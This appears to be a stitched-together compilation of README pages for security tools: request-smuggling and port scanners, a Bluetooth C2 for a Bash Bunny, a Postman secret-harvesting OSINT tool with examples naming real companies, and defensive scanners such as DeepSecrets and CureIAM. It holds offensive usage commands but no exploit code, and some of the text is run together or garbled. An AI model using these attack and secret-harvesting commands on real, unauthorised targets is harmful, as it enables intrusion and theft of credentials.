optional arguments:
-h, --help show this help message and exit
-url URL (-u), Single target URL.
-file FILE (-f), Files containing multiple targets.
-index INDEX (-i), Index start point when using a file list. Default is first line.
-verbose (-v), Enable verbose output.
-no-color Disable colors in HTTP Status
-resume Resume scan from last index place.
-skipread Skip the read response on smuggle requests, recommended. This will save a lot of time between requests. Ideal for targets with standard HTTP traffic.
-quiet (-q), Disable output. Only successful payloads will be written to ./payloads/
-lb Last byte sync method for least request latency. Due to th e nature of the request, it cannot guarantee that the smuggle request will be processed first. Ideal for targets with a high
amount of traffic, and you do not mind sending multiple requests.
-config CONFIG (-c) Config file to load, see ./configs/ to create custom payloads
-method METHOD (-m) Method to use when sending the smuggle request. Default: POST
single target attack:
python3 clzero.py -u https://www.target.com/ -c configs/default.py -skipread
python3 clzero.py -u https://www.target.com/ -c configs/default.py -lb
Multi target attack:
python3 clzero.py -l urls.txt -c configs/default.py -skipread
python3 clzero.py -l urls.txt -c configs/default.py -lb
git clone https://github.com/Moopinger/CLZero.git
cd CLZero
pip3 install -r requirements.txt
NetworkSherlock is a powerful and flexible port scanning tool designed for network security professionals and penetration testers. With its advanced capabilities, NetworkSherlock can efficiently scan IP ranges, CIDR blocks, and multiple targets. It stands out with its detailed banner grabbing capabilities across various protocols and integration with Shodan, the world's premier service for scanning and analyzing internet-connected devices. This Shodan integration enables NetworkSherlock to provide enhanced scanning capabilities, giving users deeper insights into network vulnerabilities and potential threats. By combining local port scanning with Shodan's extensive database, NetworkSherlock offers a comprehensive tool for identifying and analyzing network security issues.
NetworkSherlock requires Python 3.6 or later.
git clone https://github.com/HalilDeniz/NetworkSherlock.gitpip install -r requirements.txtUpdate the networksherlock.cfg file with your Shodan API key:
[SHODAN]
api_key = YOUR_SHODAN_API_KEYpython3 networksherlock.py --help
usage: networksherlock.py [-h] [-p PORTS] [-t THREADS] [-P {tcp,udp}] [-V] [-s SAVE_RESULTS] [-c] target
NetworkSherlock: Port Scan Tool
positional arguments:
target Target IP address(es), range, or CIDR (e.g., 192.168.1.1, 192.168.1.1-192.168.1.5,
192.168.1.0/24)
options:
-h, --help show this help message and exit
-p PORTS, --ports PORTS
Ports to scan (e.g. 1-1024, 21,22,80, or 80)
-t THREADS, --threads THREADS
Number of threads to use
-P {tcp,udp}, --protocol {tcp,udp}
Protocol to use for scanning
-V, --version-info Used to get version information
-s SAVE_RESULTS, --save-results SAVE_RESULTS
File to save scan results
-c, --ping-check Perform ping check before scanning
--use-shodan Enable Shodan integration for additional information
target: The target IP address(es), IP range, or CIDR block to scan.-p, --ports: Ports to scan (e.g., 1-1000, 22,80,443).-t, --threads: Number of threads to use.-P, --protocol: Protocol to use for scanning (tcp or udp).-V, --version-info: Obtain version information during banner grabbing.-s, --save-results: Save results to the specified file.-c, --ping-check: Perform a ping check before scanning.--use-shodan: Enable Shodan integration.Scan a single IP address on default ports:
python networksherlock.py 192.168.1.1Scan an IP address with a custom range of ports:
python networksherlock.py 192.168.1.1 -p 1-1024Scan multiple IP addresses on specific ports:
python networksherlock.py 192.168.1.1,192.168.1.2 -p 22,80,443Scan an entire subnet using CIDR notation:
python networksherlock.py 192.168.1.0/24 -p 80Perform a scan using multiple threads for faster execution:
python networksherlock.py 192.168.1.1-192.168.1.5 -p 1-1024 -t 20Scan using a specific protocol (TCP or UDP):
python networksherlock.py 192.168.1.1 -p 53 -P udppython networksherlock.py 192.168.1.1 --use-shodanpython networksherlock.py 192.168.1.1,192.168.1.2 -p 22,80,443 -V --use-shodanPerform a detailed scan with banner grabbing and save results to a file:
python networksherlock.py 192.168.1.1 -p 1-1000 -V -s results.txtScan an IP range after performing a ping check:
python networksherlock.py 10.0.0.1-10.0.0.255 -c$ python3 networksherlock.py 10.0.2.12 -t 25 -V -p 21-6000 -t 25
********************************************
Scanning target: 10.0.2.12
Scanning IP : 10.0.2.12
Ports : 21-6000
Threads : 25
Protocol : tcp
---------------------------------------------
Port Status Service VERSION
22 /tcp open ssh SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
21 /tcp open telnet 220 (vsFTPd 2.3.4)
80 /tcp open http HTTP/1.1 200 OK
139 /tcp open netbios-ssn %SMBr
25 /tcp open smtp 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
23 /tcp open smtp #' #'
445 /tcp open microsoft-ds %SMBr
514 /tcp open shell
512 /tcp open exec Where are you?
1524/tcp open ingreslock ro ot@metasploitable:/#
2121/tcp open iprop 220 ProFTPD 1.3.1 Server (Debian) [::ffff:10.0.2.12]
3306/tcp open mysql >
5900/tcp open unknown RFB 003.003
53 /tcp open domain
---------------------------------------------$ python3 networksherlock.py 10.0.2.0/24 -t 10 -V -p 21-1000
********************************************
Scanning target: 10.0.2.1
Scanning IP : 10.0.2.1
Ports : 21-1000
Threads : 10
Protocol : tcp
---------------------------------------------
Port Status Service VERSION
53 /tcp open domain
********************************************
Scanning target: 10.0.2.2
Scanning IP : 10.0.2.2
Ports : 21-1000
Threads : 10
Protocol : tcp
---------------------------------------------
Port Status Service VERSION
445 /tcp open microsoft-ds
135 /tcp open epmap
********************************************
Scanning target: 10.0.2.12
Scanning IP : 10.0.2.12
Ports : 21- 1000
Threads : 10
Protocol : tcp
---------------------------------------------
Port Status Service VERSION
21 /tcp open ftp 220 (vsFTPd 2.3.4)
22 /tcp open ssh SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
23 /tcp open telnet #'
80 /tcp open http HTTP/1.1 200 OK
53 /tcp open kpasswd 464/udpcp
445 /tcp open domain %SMBr
3306/tcp open mysql >
********************************************
Scanning target: 10.0.2.20
Scanning IP : 10.0.2.20
Ports : 21-1000
Threads : 10
Protocol : tcp
---------------------------------------------
Port Status Service VERSION
22 /tcp open ssh SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9Contributions are welcome! To contribute to NetworkSherlock, follow these steps:
NetProbe is a tool you can use to scan for devices on your network. The program sends ARP requests to any IP address on your network and lists the IP addresses, MAC addresses, manufacturers, and device models of the responding devices.
You can download the program from the GitHub page.
$ git clone https://github.com/HalilDeniz/NetProbe.gitTo install the required libraries, run the following command:
$ pip install -r requirements.txtTo run the program, use the following command:
$ python3 netprobe.py [-h] -t [...] -i [...] [-l] [-o] [-m] [-r] [-s]-h,--help: show this help message and exit-t,--target: Target IP address or subnet (default: 192.168.1.0/24)-i,--interface: Interface to use (default: None)-l,--live: Enable live tracking of devices-o,--output: Output file to save the results-m,--manufacturer: Filter by manufacturer (e.g., 'Apple')-r,--ip-range: Filter by IP range (e.g., '192.168.1.0/24')-s,--scan-rate: Scan rate in seconds (default: 5)$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -o results.txt -l$ python3 netprobe.py --help
usage: netprobe.py [-h] -t [...] -i [...] [-l] [-o] [-m] [-r] [-s]
NetProbe: Network Scanner Tool
options:
-h, --help show this help message and exit
-t [ ...], --target [ ...]
Target IP address or subnet (default: 192.168.1.0/24)
-i [ ...], --interface [ ...]
Interface to use (default: None)
-l, --live Enable live tracking of devices
-o , --output Output file to save the results
-m , --manufacturer Filter by manufacturer (e.g., 'Apple')
-r , --ip-range Filter by IP range (e.g., '192.168.1.0/24')
-s , --scan-rate Scan rate in seconds (default: 5)
$ python3 netprobe.py You can enable live tracking of devices on your network by using the -l or --live flag. This will continuously update the device list every 5 seconds.
$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -lYou can save the scan results to a file by using the -o or --output flag followed by the desired output file name.
$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -l -o results.txt
โโโโโโโโโโโโโโโโณโโโโโโโโโโโโโโโโโโโโณโโโโโโโโโโโโโโณโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ IP Address โ MAC Address โ Packet Size โ Manufacturer โ
โกโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฉ
โ 192.168.1.1 โ **:6e:**:97:**:28 โ 102 โ ASUSTek COMPUTER INC. โ
โ 192.168.1.3 โ 00:**:22:**:12:** โ 102 โ InPro Comm โ
โ 192.168.1.2 โ **:32:**:bf:**:00 โ 102 โ Xiaomi Communications Co Ltd โ
โ 192.168.1.98 โ d4:**:64:**:5c:** โ 102 โ ASUSTek COMPUTER INC. โ
โ 192.168.1.25 โ **:49:**:00:**:38 โ 102 โ Unknown โ
โโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
If you have any questions, suggestions, or feedback about the program, please feel free to reach out to me through any of the following platforms:
This program is released under the MIT LICENSE. See LICENSE for more information.
C2 solution that communicates directly over Bluetooth-Low-Energy with your Bash Bunny Mark II.
Send your Bash Bunny all the instructions it needs just over the air.
pip install pygatt "pygatt[GATTTOOL]"
Make sure BlueZ is installed and gatttool is usable
sudo apt install bluez
git clone https://github.com/90N45-d3v/BlueBunny
cd BlueBunny/C2
sudo python c2-server.py
BlueBunny/payload.txt).localhost:1472 and connect your Bash Bunny (Your Bash Bunny will light up green when it's ready to pair).You can use BlueBunny's BLE backend and communicate with your Bash Bunny manually.
# Import the backend (BlueBunny/C2/BunnyLE.py)
import BunnyLE
# Define the data to send
data = "QUACK STRING I love my Bash Bunny"
# Define the type of the data to send ("cmd" or "payload") (payload data will be temporary written to a file, to execute multiple commands like in a payload script file)
d_type = "cmd"
# Initialize BunnyLE
BunnyLE.init()
# Connect to your Bash Bunny
bb = BunnyLE.connect()
# Send the data and let it execute
BunnyLE.send(bb, data, d_type)The Bluetooth stack used is well known, but also very buggy. If starting the connection with your Bash Bunny does not work, it is probably a temporary problem due to BlueZ. Here are some kind of errors that can be caused by temporary bugs. These usually disappear at the latest after rebooting the C2's operating system, so don't be surprised and calm down if they show up.
As I said, BlueZ, the base for the bluetooth part used in BlueBunny, is somewhat bug prone. If you encounter any non-temporary bugs when connecting to Bash Bunny as well as any other bugs/difficulties in the whole BlueBunny project, you are always welcome to contact me. Be it a problem, an idea/solution or just a nice feedback.
Porch Pirate started as a tool to quickly uncover Postman secrets, and has slowly begun to evolve into a multi-purpose reconaissance / OSINT framework for Postman. While existing tools are great proof of concepts, they only attempt to identify very specific keywords as "secrets", and in very limited locations, with no consideration to recon beyond secrets. We realized we required capabilities that were "secret-agnostic", and had enough flexibility to capture false-positives that still provided offensive value.
Porch Pirate enumerates and presents sensitive results (global secrets, unique headers, endpoints, query parameters, authorization, etc), from publicly accessible Postman entities, such as:
python3 -m pip install porch-pirateThe Porch Pirate client can be used to nearly fully conduct reviews on public Postman entities in a quick and simple fashion. There are intended workflows and particular keywords to be used that can typically maximize results. These methodologies can be located on our blog: Plundering Postman with Porch Pirate.
Porch Pirate supports the following arguments to be performed on collections, workspaces, or users.
--globals--collections--requests--urls--dump--raw--curlporch-pirate -s "coca-cola.com"By default, Porch Pirate will display globals from all active and inactive environments if they are defined in the workspace. Provide a -w argument with the workspace ID (found by performing a simple search, or automatic search dump) to extract the workspace's globals, along with other information.
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8When an interesting result has been found with a simple search, we can provide the workspace ID to the -w argument with the --dump command to begin extracting information from the workspace and its collections.
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --dumpPorch Pirate can be supplied a simple search term, following the --globals argument. Porch Pirate will dump all relevant workspaces tied to the results discovered in the simple search, but only if there are globals defined. This is particularly useful for quickly identifying potentially interesting workspaces to dig into further.
porch-pirate -s "shopify" --globalsPorch Pirate can be supplied a simple search term, following the --dump argument. Porch Pirate will dump all relevant workspaces and collections tied to the results discovered in the simple search. This is particularly useful for quickly sifting through potentially interesting results.
porch-pirate -s "coca-cola.com" --dumpA particularly useful way to use Porch Pirate is to extract all URLs from a workspace and export them to another tool for fuzzing.
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --urlsPorch Pirate will recursively extract all URLs from workspaces and their collections related to a simple search term.
porch-pirate -s "coca-cola.com" --urlsporch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --collectionsporch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --requestsporch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --rawporch-pirate -w WORKSPACE_IDporch-pirate -c COLLECTION_IDporch-pirate -r REQUEST_IDporch-pirate -u USERNAME/TEAMNAMEPorch Pirate can build curl requests when provided with a request ID for easier testing.
porch-pirate -r 11055256-b1529390-18d2-4dce-812f-ee4d33bffd38 --curlporch-pirate -s coca-cola.com --proxy 127.0.0.1:8080p = porchpirate()
print(p.search('coca-cola.com'))p = porchpirate()
print(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))p = porchpirate()
collections = json.loads(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))
for collection in collections['data']:
requests = collection['requests']
for r in requests:
request_data = p.request(r['id'])
print(request_data)p = porchpirate()
print(p.workspace_globals('4127fdda-08be-4f34-af0e-a8bdc06efaba'))Other library usage examples can be located in the examples directory, which contains the following examples:
dump_workspace.pyformat_search_results.pyformat_workspace_collections.pyformat_workspace_globals.pyget_collection.pyget_collections.pyget_profile.pyget_request.pyget_statistics.pyget_team.pyget_user.pyget_workspace.pyrecursive_globals_from_search.pyrequest_to_curl.pysearch.pysearch_by_page.pyworkspace_collections.py
Service that scans your Infrastructure as Code for common vulnerabilities.
| Aspect | Information |
|---|---|
| Tool name | IaC Scan Runner |
| Docker image | xscanner/runner |
| PyPI package | iac-scan-runner |
| Documentation | docs |
| Contact us | xopera@xlab.si |
The IaC Scan Runner is a REST API service used to scan IaC (Infrastructure as Code) package and perform various code checks in order to find possible vulnerabilities and improvements. Explore the docs for more info.
This section explains how to run the REST API.
You can run the REST API using a public xscanner/runner Docker image as follows:
# run IaC Scan Runner REST API in a Docker container and
# navigate to localhost:8080/swagger or localhost:8080/redoc
$ docker run --name iac-scan-runner -p 8080:80 xscanner/runnerOr you can build the image locally and run it as follows:
# build Docker container (it will take some time)
$ docker build -t iac-scan-runner .
# run IaC Scan Runner REST API in a Docker container and
# navigate to localhost:8080/swagger or localhost:8080/redoc
$ docker run --name iac-scan-runner -p 8080:80 iac-scan-runnerTo run using the IaC Scan Runner CLI:
# install the CLI
$ python3 -m venv .venv && . .venv/bin/activate
(.venv) $ pip install iac-scan-runner
# print OpenAPI specification
(.venv) $ iac-scan-runner openapi
# install prerequisites
(.venv) $ iac-scan-runner install
# run IaC Scan Runner REST API
(.venv) $ iac-scan-runner runTo run locally from source:
# Export env variables
export MONGODB_CONNECTION_STRING=mongodb://localhost:27017
export SCAN_PERSISTENCE=enabled
export USER_MANAGEMENT=enabled
# Setup MongoDB
$ docker run --name mongodb -p 27017:27017 mongo
# install prerequisites
$ python3 -m venv .venv && . .venv/bin/activate
(.venv) $ pip install -r requirements.txt
(.venv) $ ./install-checks.sh
# run IaC Scan Runner REST API (add --reload flag to apply code changes on the way)
(.venv) $ uvicorn src.iac_scan_runner.api:appThis part will show one of the possible deployments and short examples on how to use API calls.
Firstly we will clone the iac scan runner repository and run the API.
$ git clone https://github.com/xlab-si/iac-scan-runner.git
$ docker compose upAfter this is done you can use different API endpoints by calling localhost:8000. You can also navigate to localhost:8000/swagger or localhost:8000/redoc and test all the API endpoints there. In this example, we will use curl for calling API endpoints.
curl -X 'POST' \
'http://0.0.0.0/project?creator_id=test' \
-H 'accept: application/json' \
-d ''project id will be returned to us. For this example project id is 1e7b2a91-2896-40fd-8d53-83db56088026.
curl -X 'PUT' \
'http://0.0.0.0:8000/projects/1e7b2a91-2896-40fd-8d53-83db56088026/checks/ansible-lint/disable' \
-H 'accept: application/json'curl -X 'POST' \
'http://0.0.0.0:8000/projects/1e7b2a91-2896-40fd-8d53-83db56088026/scan?scan_response_type=json' \
-H 'accept: application/json' \
-H 'Content-Type: multipart/form-data' \
-F 'iac=@YOUR.zip;type=application/zip'That is it.
At certain point, it might be required to include new check tools within the scan workflow, with aim to provide wider coverage of IaC standards and project types. Therefore, in this subsection, a sequence of required steps for that purpose is identified and described. However, the steps have to be performed manually as it will be described, but it is planned to automatize this procedure in future via API and provide user-friendly interface that will aid the user while importing new tools that will become part of the available catalogue that makes the scan workflow. Figure 16 depicts the required steps which have to be taken in order to extend the scan workflow with a new tool.
Step 1 โ Adding tool-specific class to checks directory First, it is required to add a new tool-specific Python class to the checks directory inside IaC Scan Runnerโs source code: iac-scan-runner/src/iac_scan_runner/checks/new_tool.py
The class of a new tool inherits the existing Check class, which provides generalization of scan workflow tools. Moreover, it is necessary to provide implementation of the following methods:
Step 2 โ Adding the check tool class instance within ScanRunner constructor Once the new class derived from Check is added to the IaC Scan Runnerโs source code, it is also required to modify the source code of its main class, called ScanRunner. When it comes to modifications of this class, it is required first to import the tool-specific class, create a new check tool-specific class instance and adding it to the dictionary of IaC checks inside def init_checks(self). A. Importing the check tool class from iac_scan_runner.checks.tfsec import TfsecCheck B. Creating new instance of check tool object inside init_checks """Initiate predefined check objects""" new_tool = NewToolCheck() C. Adding it to self.iac_checks dictionary inside init_checks
self.iac_checks = {
new_tool.name: new_tool,
โฆ
}Step 3 โ Adding the check tool to the compatibility matrix inside Compatibility class On the other side, inside file src/iac_scan_runner/compatibility.py, the dictionary which represents compatibility matrix should be extended as well. There are two possible cases: a) new file type should be added as a key, together with list of relevant tools as value b) new tool should be added to the compatibility list for the existing file type.
compatibility_matrix = {
"new_type": ["new_tool_1", "new_tool_2"],
โฆ
"old_typeK": ["tool_1", โฆ "tool_N", "new_tool_3"]
}Step 4 โ Providing the support for result summarization Finally, the last step in sequence of required modifications for scan workflow extension is to modify class ResultsSummary (src/iac_scan_runner/results_summary.py). Precisely, it is required to append a part of the code to its method summarize_outcome that will look for specific strings which are tool-specific and can be used to identify whether the check passed or failed. Inside the loop that traverses the compatible checks, for each new tool the following structure of if-else should be included:
if check == "new_tool":
if outcome.find("Check pass string") > -1:
self.outcomes[check]["status"] = "Passed"
return "Passed"
else:
self.outcomes[check]["status"] = "Problems"
return "Problems"You can contact the xOpera team by sending an email to xopera@xlab.si.
This project has received funding from the European Unionโs Horizon 2020 research and innovation programme under Grant Agreement No. 101000162 (PIACERE).
Existing tools don't really "understand" code. Instead, they mostly parse texts.
DeepSecrets expands classic regex-search approaches with semantic analysis, dangerous variable detection, and more efficient usage of entropy analysis. Code understanding supports 500+ languages and formats and is achieved by lexing and parsing - techniques commonly used in SAST tools.
DeepSecrets also introduces a new way to find secrets: just use hashed values of your known secrets and get them found plain in your code.
Under the hood story is in articles here: https://hackernoon.com/modernizing-secrets-scanning-part-1-the-problem
Pff, is it still regex-based?
Yes and no. Of course, it uses regexes and finds typed secrets like any other tool. But language understanding (the lexing stage) and variable detection also use regexes under the hood. So regexes is an instrument, not a problem.
Why don't you build true abstract syntax trees? It's academically more correct!
DeepSecrets tries to keep a balance between complexity and effectiveness. Building a true AST is a pretty complex thing and simply an overkill for our specific task. So the tool still follows the generic SAST-way of code analysis but optimizes the AST part using a different approach.
I'd like to build my own semantic rules. How do I do that?
Only through the code by the moment. Formalizing the rules and moving them into a flexible and user-controlled ruleset is in the plans.
I still have a question
Feel free to communicate with the maintainer
From Github via pip
$ pip install git+https://github.com/avito-tech/deepsecrets.git
From PyPi
$ pip install deepsecrets
The easiest way:
$ deepsecrets --target-dir /path/to/your/code --outfile report.json
This will run a scan against /path/to/your/code using the default configuration:
Report will be saved to report.json
Run deepsecrets --help for details.
Basically, you can use your own ruleset by specifying --regex-rules. Paths to be excluded from scanning can be set via --excluded-paths.
The built-in ruleset for regex checks is located in /deepsecrets/rules/regexes.json. You're free to follow the format and create a custom ruleset.
Example ruleset for regex checks is located in /deepsecrets/rules/regexes.json. You're free to follow the format and create a custom ruleset.
There are several core concepts:
FileTokenizerTokenEngineFindingScanModeJust a pythonic representation of a file with all needed methods for management.
A component able to break the content of a file into pieces - Tokens - by its logic. There are four types of tokenizers available:
FullContentTokenizer: treats all content as a single token. Useful for regex-based search.PerWordTokenizer: breaks given content by words and line breaks.LexerTokenizer: uses language-specific smarts to break code into semantically correct pieces with additional context for each token.A string with additional information about its semantic role, corresponding file, and location inside it.
A component performing secrets search for a single token by its own logic. Returns a set of Findings. There are three engines available:
RegexEngine: checks tokens' values through a special rulesetSemanticEngine: checks tokens produced by the LexerTokenizer using additional context - variable names and valuesHashedSecretEngine: checks tokens' values by hashing them and trying to find coinciding hashes inside a special rulesetThis is a data structure representing a problem detected inside code. Features information about the precise location inside a file and a rule that found it.
This component is responsible for the scan process.
PerFileAnalyzer - the method called against each file, returning a list of findings. The primary usage is to initialize necessary engines, tokenizers, and rulesets.The current implementation has a CliScanMode built by the user-provided config through the cli args.
The project is supposed to be developed using VSCode and 'Remote containers' feature.
Steps:
CureIAM is an easy-to-use, reliable, and performant engine for Least Privilege Principle Enforcement on GCP cloud infra. It enables DevOps and Security team to quickly clean up accounts in GCP infra that have granted permissions of more than what are required. CureIAM fetches the recommendations and insights from GCP IAM recommender, scores them and enforce those recommendations automatically on daily basic. It takes care of scheduling and all other aspects of running these enforcement jobs at scale. It is built on top of GCP IAM recommender APIs and Cloudmarker framework.
Discover what makes CureIAM scalable and production grade.
safe_to_apply_score, risk_score, over_privilege_score. Each score serves a different purpose. For safe_to_apply_score identifies the capability to apply recommendation on automated basis, based on the threshold set in CureIAM.yaml config file.Since CureIAM is built with python, you can run it locally with these commands. Before running make sure to have a configuration file ready in either of /etc/CureIAM.yaml, ~/.CureIAM.yaml, ~/CureIAM.yaml, or CureIAM.yaml and there is Service account JSON file present in current directory with name preferably cureiamSA.json. This SA private key can be named anything, but for docker image build, it is preferred to use this name. Make you to reference this file in config for GCP cloud.
# Install necessary dependencies
$ pip install -r requirements.txt
# Run CureIAM now
$ python -m CureIAM -n
# Run CureIAM process as schedular
$ python -m CureIAM
# Check CureIAM help
$ python -m CureIAM --helpCureIAM can be also run inside a docker environment, this is completely optional and can be used for CI/CD with K8s cluster deployment.
# Build docker image from dockerfile
$ docker build -t cureiam .
# Run the image, as schedular
$ docker run -d cureiam
# Run the image now
$ docker run -f cureiam -m cureiam -n CureIAM.yaml configuration file is the heart of CureIAM engine. Everything that engine does it does it based on the pipeline configured in this config file. Let's break this down in different sections to make this config look simpler.
logger:
version: 1
disable_existing_loggers: false
formatters:
verysimple:
format: >-
[%(process)s]
%(name)s:%(lineno)d - %(message)s
datefmt: "%Y-%m-%d %H:%M:%S"
handlers:
rich_console:
class: rich.logging.RichHandler
formatter: verysimple
file:
class: logging.handlers.TimedRotatingFileHandler
formatter: simple
filename: /tmp/CureIAM.log
when: midnight
encoding: utf8
backupCount: 5
loggers:
adal-python:
level: INFO
root:
level: INFO
handlers:
- rich_console
- file
schedule: "16:00"This subsection of config uses, Rich logging module and schedules CureIAM to run daily at 16:00.
plugins section in CureIAM.yaml. You can think of this section as declaration for different plugins. plugins:
gcpCloud:
plugin: CureIAM.plugins.gcp.gcpcloud.GCPCloudIAMRecommendations
params:
key_file_path: cureiamSA.json
filestore:
plugin: CureIAM.plugins.files.filestore.FileStore
gcpIamProcessor:
plugin: CureIAM.plugins.gcp.gcpcloudiam.GCPIAMRecommendationProcessor
params:
mode_scan: true
mode_enforce: true
enforcer:
key_file_path: cureiamSA.json
allowlist_projects:
- alpha
blocklist_projects:
- beta
blocklist_accounts:
- foo@bar.com
allowlist_account_types:
- user
- group
- serviceAccount
blocklist_account_types:
- None
min_safe_to_apply_score_user: 0
min_safe_to_apply_scor e_group: 0
min_safe_to_apply_score_SA: 50
esstore:
plugin: CureIAM.plugins.elastic.esstore.EsStore
params:
# Change http to https later if your elastic are using https
scheme: http
host: es-host.com
port: 9200
index: cureiam-stg
username: security
password: securepasswordEach of these plugins declaration has to be of this form:
plugins:
<plugin-name>:
plugin: <class-name-as-python-path>
params:
param1: val1
param2: val2For example, for plugins CureIAM.stores.esstore.EsStore which is this file and class EsStore. All the params which are defined in yaml has to match the declaration in __init__() function of the same plugin class.
audits:
IAMAudit:
clouds:
- gcpCloud
processors:
- gcpIamProcessor
stores:
- filestore
- esstoreMultiple Audits can be created out of this. The one created here is named IAMAudit with three plugins in use, gcpCloud, gcpIamProcessor, filestores and esstore. Note these are the same plugin names defined in Step 2. Again this is like defining the pipeline, not actually running it. It will be considered for running with definition in next step.
CureIAM to run the Audits defined in previous step. run:
- IAMAuditsAnd this makes the entire configuration for CureIAM, you can find the full sample here, this config driven pipeline concept is inherited from Cloudmarker framework.
The JSON which is indexed in elasticsearch using Elasticsearch store plugin, can be used to generate dashboard in Kibana.
[Please do!] We are looking for any kind of contribution to improve CureIAM's core funtionality and documentation. When in doubt, make a PR!
Gojek Product Security Team
<>
=============
Adding the version in library to avoid any back compatibility issues.
Running docker compose: docker-compose -f docker_compose_es.yaml up
mode_scan: true
mode_enforce: false
MemTracer is a tool that offers live memory analysis capabilities, allowing digital forensic practitioners to discover and investigate stealthy attack traces hidden in memory. The MemTracer is implemented in Python language, aiming to detect reflectively loaded native .NET framework Dynamic-Link Library (DLL). This is achieved by looking for the following abnormal memory regionโs characteristics:
The tool starts by scanning the running processes, and by analyzing the allocated memory regions characteristics to detect reflective DLL loading symptoms. Suspicious memory regions which are identified as DLL modules are dumped for further analysis and investigation.
Furthermore, the tool features the following options:
python.exe memScanner.py [-h] [-r] [-m MODULE]
-h, --help show this help message and exit
-r, --reflectiveScan Looking for reflective DLL loading
-m MODULE, --module MODULE Looking for spcefic loaded DLL
The script needs administrator privileges in order incepect all processes.
Daksh SCRA (Source Code Review Assist) tool is built to enhance the efficiency of the source code review process, providing a well-structured and organized approach for code reviewers.
Rather than indiscriminately flagging everything as a potential issue, Daksh SCRA promotes thoughtful analysis, urging the investigation and confirmation of potential problems. This approach mitigates the scramble to tag every potential concern as a bug, cutting back on the confusion and wasted time spent on false positives.
What sets Daksh SCRA apart is its emphasis on avoiding unnecessary bug tagging. Unlike conventional methods, it advocates for thorough investigation and confirmation of potential issues before tagging them as bugs. This approach helps mitigate the issue of false positives, which often consume valuable time and resources, thereby fostering a more productive and efficient code review process.
Daksh SCRA was initially introduced during a source code review training session I conducted at Black Hat USA 2022 (August 6 - 9), where it was subtly presented to a specific audience. However, this introduction was carried out with a low-profile approach, avoiding any major announcements.
While this tool was quietly published on GitHub after the 2022 training, its official public debut took place at Black Hat USA 2023 in Las Vegas.
Identifies Areas of Interest in Source Code: Encourage focused investigation and confirmation rather than indiscriminately labeling everything as a bug.
Identifies Areas of Interest in File Paths (Worldโs First): Recognises patterns in file paths to pinpoint relevant sections for review.
Software-Level Reconnaissance to Identify Technologies Utilised: Identifies project technologies, enabling code reviewers to conduct precise scans with appropriate rules.
Automated Scientific Effort Estimation for Code Review (Worldโs First): Providing a measurable approach for estimating efforts required for a code review process.
Although this tool has progressed beyond its early stages, it has reached a functional state that is quite usable and delivers on its promised capabilities. Nevertheless, active enhancements are currently underway, and there are multiple new features and improvements expected to be added in the upcoming months.
Additionally, the tool offers the following functionalities:
Refer to the wiki for the tool setup and usage details - https://github.com/coffeeandsecurity/DakshSCRA/wiki
Feel free to contribute towards updating or adding new rules and future development.
If you find any bugs, report them to d3basis.m0hanty@gmail.com.
Python3 and all the libraries listed in requirements.txt
$ pip install virtualenv
$ virtualenv -p python3 {name-of-virtual-env} // Create a virtualenv
Example: virtualenv -p python3 venv
$ source {name-of-virtual-env}/bin/activate // To activate virtual environment you just created
Example: source venv/bin/activate
After running the activate command you should see the name of your virtual env at the beginning of your terminal like this: (venv) $
You must run the below command after activating the virtual environment as mentioned in the previous steps.
pip install -r requirements.txt
Once the above step successfully installs all the required libraries, refer to the following tool usage commands to run the tool.
$ python3 dakshscra.py -h // To view avaialble options and arguments
usage: dakshscra.py [-h] [-r RULE_FILE] [-f FILE_TYPES] [-v] [-t TARGET_DIR] [-l {R,RF}] [-recon] [-estimate]
options:
-h, --help show this help message and exit
-r RULE_FILE Specify platform specific rule name
-f FILE_TYPES Specify file types to scan
-v Specify verbosity level {'-v', '-vv', '-vvv'}
-t TARGET_DIR Specify target directory path
-l {R,RF}, --list {R,RF}
List rules [R] OR rules and filetypes [RF]
-recon Detects platform, framework and programming language used
-estimate Estimate efforts required for code review
$ python3 dakshscra.py // To view tool usage along with examples
Examples:
# '-f' is optional. If not specified, it will default to the corresponding filetypes of the selected rule.
dakshsca.py -r php -t /source_dir_path
# To override default settings, other filetypes can be specified with '-f' option.
dakshsca.py -r php -f dotnet -t /path_to_source_dir
dakshsca.py -r php -f custom -t /path_to_source_dir
# Perform reconnaissance and rule based scanning if '-recon' used with '-r' option.
dakshsca.py -recon -r php -t /path_to_source_dir
# Perform only reconnaissance if '-recon' used without the '-r' option.
dakshsca.py -recon -t /path_to_source_dir
# Verbosity: '-v' is default, '-vvv' will display all rules check within each rule category.
dakshsca.py -r php -vv -t /path_to_source_dir
Supported RULE_FILE: dotnet, java, php, javascript
Supported FILE_TY PES: dotnet, php, java, custom, allfiles
The tool generates reports in three formats: HTML, PDF, and TEXT. Although the HTML and PDF reports are still being improved, they are currently in a reasonably good state. With each subsequent iteration, these reports will continue to be refined and improved even further.
Note: Currently, the reconnaissance report is created in a text format. However, in upcoming releases, the plan is to incorporate it into the vulnerability scanning report, which will be available in both HTML and PDF formats.
Note: At present, the effort estimation for the source code review is in its early stages. It is considered experimental and will be developed and refined through several iterations. Improvements will be made over multiple releases, as the formula and the concept are new and require time to be honed to achieve accuracy or reasonable estimation.
Currently, the report is generated in HTML format. However, in future releases, there are plans to also provide it in PDF format.
